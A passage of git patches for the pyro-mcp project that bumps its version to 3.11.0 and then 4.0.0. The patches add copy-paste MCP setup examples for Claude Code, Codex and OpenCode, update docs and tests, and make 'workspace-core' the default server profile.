`pyro` in the same host-specific command or config shape. + Profile progression: - `workspace-core`: recommended first profile for normal persistent chat editing @@ -226,7 +249,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.10.0 +Catalog version: 3.11.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -343,7 +366,7 @@ machine consumption, use `--id-only` for only the identifier or `--json` for the workspace payload. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `3.10.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `3.11.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use @@ -577,7 +600,10 @@ Recommended MCP tool profiles: - Python one-shot SDK example: [examples/python_run.py](examples/python_run.py) - Python lifecycle example: [examples/python_lifecycle.py](examples/python_lifecycle.py) - Python workspace example: [examples/python_workspace.py](examples/python_workspace.py) -- MCP client config example: [examples/mcp_client_config.md](examples/mcp_client_config.md) +- Claude Code MCP setup: [examples/claude_code_mcp.md](examples/claude_code_mcp.md) +- Codex MCP setup: [examples/codex_mcp.md](examples/codex_mcp.md) +- OpenCode MCP config: [examples/opencode_mcp_config.json](examples/opencode_mcp_config.json) +- Generic MCP client config: [examples/mcp_client_config.md](examples/mcp_client_config.md) - Claude Desktop MCP config: [examples/claude_desktop_mcp_config.json](examples/claude_desktop_mcp_config.json) - Cursor MCP config: [examples/cursor_mcp_config.json](examples/cursor_mcp_config.json) - OpenAI Responses API example: [examples/openai_responses_vm_run.py](examples/openai_responses_vm_run.py) diff --git a/docs/first-run.md b/docs/first-run.md index ea54aa7..40e5c3d 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 3.10.0 +Catalog version: 3.11.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -116,12 +116,21 @@ $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --secret-env $ uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress+published-ports $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app $ uvx --from pyro-mcp pyro mcp serve --profile workspace-core +$ claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +$ codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core ``` For most chat hosts, `workspace-core` is the recommended first MCP profile. Move to `workspace-full` only when the host truly needs shells, services, snapshots, secrets, network policy, or disk tools. +Host-specific MCP starts: + +- Claude Code: [examples/claude_code_mcp.md](../examples/claude_code_mcp.md) +- Codex: [examples/codex_mcp.md](../examples/codex_mcp.md) +- OpenCode: [examples/opencode_mcp_config.json](../examples/opencode_mcp_config.json) +- Generic MCP config: [examples/mcp_client_config.md](../examples/mcp_client_config.md) + `pyro demo` proves the one-shot create/start/exec/delete VM lifecycle works end to end. Once that stable workspace flow works, continue with the five recipe docs in @@ -259,7 +268,7 @@ State: started Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `3.10.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `3.11.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the diff --git a/docs/install.md b/docs/install.md index c00bb31..c7b2ccf 100644 --- a/docs/install.md +++ b/docs/install.md @@ -85,7 +85,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.10.0 +Catalog version: 3.11.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -243,6 +243,30 @@ For most chat-host integrations, start with `workspace-core`: uvx --from pyro-mcp pyro mcp serve --profile workspace-core ``` +Copy-paste host-specific starts: + +- Claude Code: [examples/claude_code_mcp.md](../examples/claude_code_mcp.md) +- Codex: [examples/codex_mcp.md](../examples/codex_mcp.md) +- OpenCode: [examples/opencode_mcp_config.json](../examples/opencode_mcp_config.json) +- Generic MCP config: [examples/mcp_client_config.md](../examples/mcp_client_config.md) + +Claude Code: + +```bash +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +``` + +Codex: + +```bash +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +``` + +OpenCode uses the `mcp`/`type: "local"` config shape shown in +[examples/opencode_mcp_config.json](../examples/opencode_mcp_config.json). If +`pyro-mcp` is already installed, replace the `uvx --from pyro-mcp pyro` +command with `pyro` in the same host-specific command or config shape. + Use profile progression like this: - `workspace-core`: recommended first profile for normal persistent chat editing @@ -296,7 +320,7 @@ the identifier programmatically, use `--id-only` for only the identifier or `--j workspace payload. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `3.10.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `3.11.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/integrations.md b/docs/integrations.md index 47c5d6c..36b5bb3 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -63,12 +63,15 @@ Profile progression: - `pyro mcp serve --profile workspace-core` for the normal persistent chat loop - `pyro mcp serve --profile workspace-full` only when the model truly needs advanced workspace tools -Starter config: +Host-specific onramps: -- [examples/mcp_client_config.md](../examples/mcp_client_config.md) -- [examples/claude_desktop_mcp_config.json](../examples/claude_desktop_mcp_config.json) -- [examples/cursor_mcp_config.json](../examples/cursor_mcp_config.json) -- [docs/use-cases/README.md](use-cases/README.md) +- Claude Code: [examples/claude_code_mcp.md](../examples/claude_code_mcp.md) +- Codex: [examples/codex_mcp.md](../examples/codex_mcp.md) +- OpenCode: [examples/opencode_mcp_config.json](../examples/opencode_mcp_config.json) +- Generic MCP config: [examples/mcp_client_config.md](../examples/mcp_client_config.md) +- Claude Desktop fallback: [examples/claude_desktop_mcp_config.json](../examples/claude_desktop_mcp_config.json) +- Cursor fallback: [examples/cursor_mcp_config.json](../examples/cursor_mcp_config.json) +- Use-case recipes: [docs/use-cases/README.md](use-cases/README.md) ## Direct Python SDK diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md index c028071..1c83344 100644 --- a/docs/roadmap/llm-chat-ergonomics.md +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -6,7 +6,7 @@ goal: make the core agent-workspace use cases feel trivial from a chat-driven LLM interface. -Current baseline is `3.10.0`: +Current baseline is `3.11.0`: - the stable workspace contract exists across CLI, SDK, and MCP - one-shot `pyro run` still exists as the narrow entrypoint @@ -63,7 +63,7 @@ The remaining UX friction for a technically strong new user is now narrower: 7. [`3.8.0` Chat-Host Onramp And Recommended Defaults](llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md) - Done 8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Done 9. [`3.10.0` Use-Case Smoke Trust And Recipe Fidelity](llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md) - Done -10. [`3.11.0` Host-Specific MCP Onramps](llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md) +10. [`3.11.0` Host-Specific MCP Onramps](llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md) - Done 11. [`4.0.0` Workspace-Core Default Profile](llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md) Completed so far: @@ -90,12 +90,12 @@ Completed so far: transcript separation for files that do not end with a trailing newline. - `3.10.0` aligned the five guest-backed use-case smokes with their recipe docs and promoted `make smoke-use-cases` as the trustworthy verification path for the advertised workspace flows. +- `3.11.0` added exact host-specific MCP onramps for Claude Code, Codex, and OpenCode so new + chat-host users can copy one known-good setup example instead of translating the generic MCP + config manually. Planned next: -- `3.11.0` adds exact host-specific onramps for Claude, Codex, and OpenCode so - a new chat-host user can copy one known-good config or command instead of - translating the generic MCP example by hand. - `4.0.0` flips the default MCP profile from `workspace-full` to `workspace-core` so the no-flag server entrypoint finally matches the recommended docs path, while keeping explicit opt-in access to the full diff --git a/docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md b/docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md index db44805..9edc0fa 100644 --- a/docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md +++ b/docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md @@ -1,6 +1,6 @@ # `3.11.0` Host-Specific MCP Onramps -Status: Planned +Status: Done ## Goal diff --git a/examples/claude_code_mcp.md b/examples/claude_code_mcp.md new file mode 100644 index 0000000..6f7a18f --- /dev/null +++ b/examples/claude_code_mcp.md @@ -0,0 +1,20 @@ +# Claude Code MCP Setup + +Recommended profile: `workspace-core`. + +Package without install: + +```bash +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +claude mcp list +``` + +Already installed: + +```bash +claude mcp add pyro -- pyro mcp serve --profile workspace-core +claude mcp list +``` + +Move to `workspace-full` only when the chat truly needs shells, services, +snapshots, secrets, network policy, or disk tools. diff --git a/examples/codex_mcp.md b/examples/codex_mcp.md new file mode 100644 index 0000000..f9f2861 --- /dev/null +++ b/examples/codex_mcp.md @@ -0,0 +1,20 @@ +# Codex MCP Setup + +Recommended profile: `workspace-core`. + +Package without install: + +```bash +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +codex mcp list +``` + +Already installed: + +```bash +codex mcp add pyro -- pyro mcp serve --profile workspace-core +codex mcp list +``` + +Move to `workspace-full` only when the chat truly needs shells, services, +snapshots, secrets, network policy, or disk tools. diff --git a/examples/mcp_client_config.md b/examples/mcp_client_config.md index efd8af3..0fa7645 100644 --- a/examples/mcp_client_config.md +++ b/examples/mcp_client_config.md @@ -2,6 +2,15 @@ Recommended default for most chat hosts: `workspace-core`. +Use the host-specific examples first when they apply: + +- Claude Code: [examples/claude_code_mcp.md](claude_code_mcp.md) +- Codex: [examples/codex_mcp.md](codex_mcp.md) +- OpenCode: [examples/opencode_mcp_config.json](opencode_mcp_config.json) + +Use this generic config only when the host expects a plain `mcpServers` JSON +shape. + `pyro-mcp` is intended to be exposed to LLM clients through the public `pyro` CLI. Generic stdio MCP configuration using `uvx`: @@ -42,7 +51,7 @@ Primary profile for most agents: Use lifecycle tools only when the agent needs persistent VM state across multiple tool calls. -Concrete client-specific examples: +Other generic-client examples: - Claude Desktop: [examples/claude_desktop_mcp_config.json](claude_desktop_mcp_config.json) - Cursor: [examples/cursor_mcp_config.json](cursor_mcp_config.json) diff --git a/examples/opencode_mcp_config.json b/examples/opencode_mcp_config.json new file mode 100644 index 0000000..ce23db7 --- /dev/null +++ b/examples/opencode_mcp_config.json @@ -0,0 +1,9 @@ +{ + "mcp": { + "pyro": { + "type": "local", + "enabled": true, + "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--profile", "workspace-core"] + } + } +} diff --git a/pyproject.toml b/pyproject.toml index bc66549..d6e3ded 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "3.10.0" +version = "3.11.0" description = "Stable Firecracker workspaces, one-shot sandboxes, and MCP tools for coding agents." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index a89e86e..dc2f67a 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "3.10.0" +DEFAULT_CATALOG_VERSION = "3.11.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/tests/test_cli.py b/tests/test_cli.py index 17d84b9..52807f2 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -2807,21 +2807,73 @@ def test_cli_workspace_shell_open_prints_id_only( def test_chat_host_docs_and_examples_recommend_workspace_core() -> None: readme = Path("README.md").read_text(encoding="utf-8") install = Path("docs/install.md").read_text(encoding="utf-8") + first_run = Path("docs/first-run.md").read_text(encoding="utf-8") integrations = Path("docs/integrations.md").read_text(encoding="utf-8") mcp_config = Path("examples/mcp_client_config.md").read_text(encoding="utf-8") + claude_code = Path("examples/claude_code_mcp.md").read_text(encoding="utf-8") + codex = Path("examples/codex_mcp.md").read_text(encoding="utf-8") + opencode = json.loads(Path("examples/opencode_mcp_config.json").read_text(encoding="utf-8")) + claude_cmd = ( + "claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core" + ) + codex_cmd = ( + "codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core" + ) assert "## Chat Host Quickstart" in readme assert "pyro mcp serve --profile workspace-core" in readme + assert claude_cmd in readme + assert codex_cmd in readme + assert "examples/opencode_mcp_config.json" in readme assert "recommended first profile for normal persistent chat editing" in readme assert "## Chat Host Quickstart" in install assert "pyro mcp serve --profile workspace-core" in install + assert claude_cmd in install + assert codex_cmd in install assert "advanced 3.x compatibility surface" in install + assert claude_cmd in first_run + assert codex_cmd in first_run + assert "Start most chat hosts with `workspace-core`." in integrations + assert "examples/claude_code_mcp.md" in integrations + assert "examples/codex_mcp.md" in integrations + assert "examples/opencode_mcp_config.json" in integrations assert '`Pyro.create_server(profile="workspace-core")` for most chat hosts' in integrations assert "Recommended default for most chat hosts: `workspace-core`." in mcp_config + assert "Use the host-specific examples first when they apply:" in mcp_config + assert "claude_code_mcp.md" in mcp_config + assert "codex_mcp.md" in mcp_config + assert "opencode_mcp_config.json" in mcp_config + + assert claude_cmd in claude_code + assert "claude mcp list" in claude_code + assert "workspace-full" in claude_code + + assert codex_cmd in codex + assert "codex mcp list" in codex + assert "workspace-full" in codex + + assert opencode == { + "mcp": { + "pyro": { + "type": "local", + "enabled": True, + "command": [ + "uvx", + "--from", + "pyro-mcp", + "pyro", + "mcp", + "serve", + "--profile", + "workspace-core", + ], + } + } + } def test_content_only_read_docs_are_aligned() -> None: diff --git a/uv.lock b/uv.lock index 6bdffd0..f993b93 100644 --- a/uv.lock +++ b/uv.lock @@ -715,7 +715,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "3.10.0" +version = "3.11.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From c00c699a9f5ed770b867dfda7069bbc89213b563 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Fri, 13 Mar 2026 14:14:15 -0300 Subject: [PATCH 39/49] Make workspace-core the default MCP profile Flip bare pyro mcp serve, create_server(), and Pyro.create_server() to default to workspace-core in 4.0.0 while keeping workspace-full as the explicit advanced opt-in surface. Rewrite the MCP-facing docs and host-specific examples around the bare default command, update package and catalog compatibility to 4.x, and move the public-contract wording from 3.x compatibility guidance to the new stable default. Adjust the server, API, and contract tests so bare server creation now asserts the workspace-core tool set, while explicit workspace-full coverage continues to prove shells, services, snapshots, and disk tools remain available. Validation: uv lock; .venv/bin/pytest --no-cov tests/test_cli.py tests/test_api.py tests/test_server.py tests/test_public_contract.py; UV_CACHE_DIR=.uv-cache make check; UV_CACHE_DIR=.uv-cache make dist-check; real guest-backed smoke for bare Pyro.create_server() plus explicit profile="workspace-full". --- CHANGELOG.md | 11 ++++++ README.md | 32 +++++++++-------- docs/first-run.md | 13 +++---- docs/install.md | 23 +++++++------ docs/integrations.md | 10 +++--- docs/public-contract.md | 12 +++---- docs/roadmap/llm-chat-ergonomics.md | 16 ++++----- .../4.0.0-workspace-core-default-profile.md | 2 +- examples/claude_code_mcp.md | 10 ++++-- examples/claude_desktop_mcp_config.json | 2 +- examples/codex_mcp.md | 10 ++++-- examples/cursor_mcp_config.json | 2 +- examples/mcp_client_config.md | 10 +++--- examples/openai_responses_workspace_core.py | 10 +++--- examples/opencode_mcp_config.json | 2 +- pyproject.toml | 2 +- src/pyro_mcp/api.py | 7 ++-- src/pyro_mcp/cli.py | 31 +++++++++-------- src/pyro_mcp/server.py | 7 ++-- src/pyro_mcp/vm_environments.py | 4 +-- tests/test_api.py | 34 +++++++++++++++++-- tests/test_cli.py | 28 +++++++-------- tests/test_public_contract.py | 4 +-- tests/test_server.py | 7 ++-- uv.lock | 2 +- 25 files changed, 170 insertions(+), 121 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2b6ae71..863a6d0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,17 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 4.0.0 + +- Flipped the default MCP/server profile from `workspace-full` to + `workspace-core`, so bare `pyro mcp serve`, `create_server()`, and + `Pyro.create_server()` now match the recommended narrow chat-host path. +- Rewrote MCP-facing docs and shipped host-specific examples so the normal + setup path no longer needs an explicit `--profile workspace-core` just to + get the default behavior. +- Added migration guidance for hosts that relied on the previous implicit full + surface: they now need `--profile workspace-full` or + `create_server(profile=\"workspace-full\")`. ## 3.11.0 - Added first-class host-specific MCP onramps for Claude Code, Codex, and diff --git a/README.md b/README.md index cb7a3eb..793a7b3 100644 --- a/README.md +++ b/README.md @@ -23,7 +23,7 @@ It exposes the same runtime in three public forms: - Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 3.11.0: [CHANGELOG.md#3110](CHANGELOG.md#3110) +- What's new in 4.0.0: [CHANGELOG.md#400](CHANGELOG.md#400) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -60,7 +60,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 3.11.0 +Catalog version: 4.0.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -126,7 +126,7 @@ That stable workspace path gives you: After the quickstart works: - prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` -- start most chat hosts with `uvx --from pyro-mcp pyro mcp serve --profile workspace-core` +- start most chat hosts with `uvx --from pyro-mcp pyro mcp serve` - create a persistent workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo` - add a human-friendly workspace name with `uvx --from pyro-mcp pyro workspace create debian:12 --name repro-fix --label issue=123` - rediscover or retag workspaces with `uvx --from pyro-mcp pyro workspace list` and `uvx --from pyro-mcp pyro workspace update WORKSPACE_ID --label owner=codex` @@ -148,12 +148,12 @@ After the quickstart works: ## Chat Host Quickstart -For most MCP chat hosts, start with `workspace-core`. It exposes the practical +For most MCP chat hosts, bare `pyro mcp serve` now starts `workspace-core`. It exposes the practical persistent editing loop without shells, services, snapshots, secrets, network policy, or disk tools. ```bash -uvx --from pyro-mcp pyro mcp serve --profile workspace-core +uvx --from pyro-mcp pyro mcp serve ``` Copy-paste host-specific starts: @@ -166,13 +166,13 @@ Copy-paste host-specific starts: Claude Code: ```bash -claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve ``` Codex: ```bash -codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve ``` OpenCode `opencode.json` snippet: @@ -183,20 +183,22 @@ OpenCode `opencode.json` snippet: "pyro": { "type": "local", "enabled": true, - "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--profile", "workspace-core"] + "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"] } } } ``` If `pyro-mcp` is already installed, replace the `uvx --from pyro-mcp pyro` -command with `pyro` in the same host-specific command or config shape. +command with `pyro` in the same host-specific command or config shape. Use +`--profile workspace-full` only when the host truly needs the full advanced +workspace surface. Profile progression: -- `workspace-core`: recommended first profile for normal persistent chat editing +- `workspace-core`: default and recommended first profile for normal persistent chat editing - `vm-run`: smallest one-shot-only surface -- `workspace-full`: advanced 3.x compatibility surface when the chat truly needs shells, services, snapshots, secrets, network policy, or disk tools +- `workspace-full`: explicit advanced opt-in when the chat truly needs shells, services, snapshots, secrets, network policy, or disk tools ## Supported Hosts @@ -249,7 +251,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.11.0 +Catalog version: 4.0.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -366,7 +368,7 @@ machine consumption, use `--id-only` for only the identifier or `--json` for the workspace payload. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `3.11.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `4.0.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use @@ -395,7 +397,7 @@ The public user-facing interface is `pyro` and `Pyro`. After the CLI validation - `pyro` for direct CLI usage, including one-shot `run` and persistent `workspace` workflows - `from pyro_mcp import Pyro` for Python orchestration -- `pyro mcp serve --profile workspace-core` for MCP clients +- `pyro mcp serve` for MCP clients Command forms: @@ -462,7 +464,7 @@ Run the MCP server after the CLI path above works. Start most chat hosts with `workspace-core`: ```bash -pyro mcp serve --profile workspace-core +pyro mcp serve ``` Profile progression for chat hosts: diff --git a/docs/first-run.md b/docs/first-run.md index 40e5c3d..842bb59 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 3.11.0 +Catalog version: 4.0.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -115,12 +115,13 @@ $ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID --secret-env API_TO $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --secret-env API_TOKEN --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done' $ uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress+published-ports $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app -$ uvx --from pyro-mcp pyro mcp serve --profile workspace-core -$ claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core -$ codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +$ uvx --from pyro-mcp pyro mcp serve +$ claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve +$ codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve ``` -For most chat hosts, `workspace-core` is the recommended first MCP profile. +For most chat hosts, bare `pyro mcp serve` now starts `workspace-core`, the +recommended first MCP profile. Move to `workspace-full` only when the host truly needs shells, services, snapshots, secrets, network policy, or disk tools. @@ -268,7 +269,7 @@ State: started Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `3.11.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `4.0.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the diff --git a/docs/install.md b/docs/install.md index c7b2ccf..88f3d84 100644 --- a/docs/install.md +++ b/docs/install.md @@ -85,7 +85,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.11.0 +Catalog version: 4.0.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -231,16 +231,17 @@ After the CLI path works, you can move on to: - interactive shells: `pyro workspace shell open WORKSPACE_ID --id-only` - long-running services: `pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` - localhost-published ports: `pyro workspace create debian:12 --network-policy egress+published-ports` and `pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app` -- MCP: `pyro mcp serve --profile workspace-core` +- MCP: `pyro mcp serve` - Python SDK: `from pyro_mcp import Pyro` - Demos: `pyro demo` or `pyro demo --network` ## Chat Host Quickstart -For most chat-host integrations, start with `workspace-core`: +For most chat-host integrations, bare `pyro mcp serve` now starts +`workspace-core`: ```bash -uvx --from pyro-mcp pyro mcp serve --profile workspace-core +uvx --from pyro-mcp pyro mcp serve ``` Copy-paste host-specific starts: @@ -253,25 +254,27 @@ Copy-paste host-specific starts: Claude Code: ```bash -claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve ``` Codex: ```bash -codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve ``` OpenCode uses the `mcp`/`type: "local"` config shape shown in [examples/opencode_mcp_config.json](../examples/opencode_mcp_config.json). If `pyro-mcp` is already installed, replace the `uvx --from pyro-mcp pyro` -command with `pyro` in the same host-specific command or config shape. +command with `pyro` in the same host-specific command or config shape. Use +`--profile workspace-full` only when the host truly needs the full advanced +workspace surface. Use profile progression like this: -- `workspace-core`: recommended first profile for normal persistent chat editing +- `workspace-core`: default and recommended first profile for normal persistent chat editing - `vm-run`: one-shot-only integrations -- `workspace-full`: advanced 3.x compatibility surface when the host truly needs shells, services, snapshots, secrets, network policy, or disk tools +- `workspace-full`: explicit advanced opt-in when the host truly needs shells, services, snapshots, secrets, network policy, or disk tools ## Stable Workspace @@ -320,7 +323,7 @@ the identifier programmatically, use `--id-only` for only the identifier or `--j workspace payload. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `3.11.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `4.0.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/integrations.md b/docs/integrations.md index 36b5bb3..2883784 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -7,7 +7,7 @@ CLI path in [install.md](install.md) or [first-run.md](first-run.md). ## Recommended Default -Start most chat hosts with `workspace-core`. Use `vm_run` only for one-shot +Bare `pyro mcp serve` now starts `workspace-core`. Use `vm_run` only for one-shot integrations, and promote the chat surface to `workspace-full` only when it truly needs shells, services, snapshots, secrets, network policy, or disk tools. @@ -21,7 +21,7 @@ That keeps the model-facing contract small: Profile progression: -- `workspace-core`: recommended first profile for persistent chat editing +- `workspace-core`: default and recommended first profile for persistent chat editing - `vm-run`: one-shot only - `workspace-full`: the full stable workspace surface, including shells, services, snapshots, secrets, network policy, and disk tools @@ -55,12 +55,12 @@ Best when: Recommended entrypoint: -- `pyro mcp serve --profile workspace-core` +- `pyro mcp serve` Profile progression: - `pyro mcp serve --profile vm-run` for the smallest one-shot surface -- `pyro mcp serve --profile workspace-core` for the normal persistent chat loop +- `pyro mcp serve` for the normal persistent chat loop - `pyro mcp serve --profile workspace-full` only when the model truly needs advanced workspace tools Host-specific onramps: @@ -84,7 +84,7 @@ Best when: Recommended default: - `Pyro.run_in_vm(...)` -- 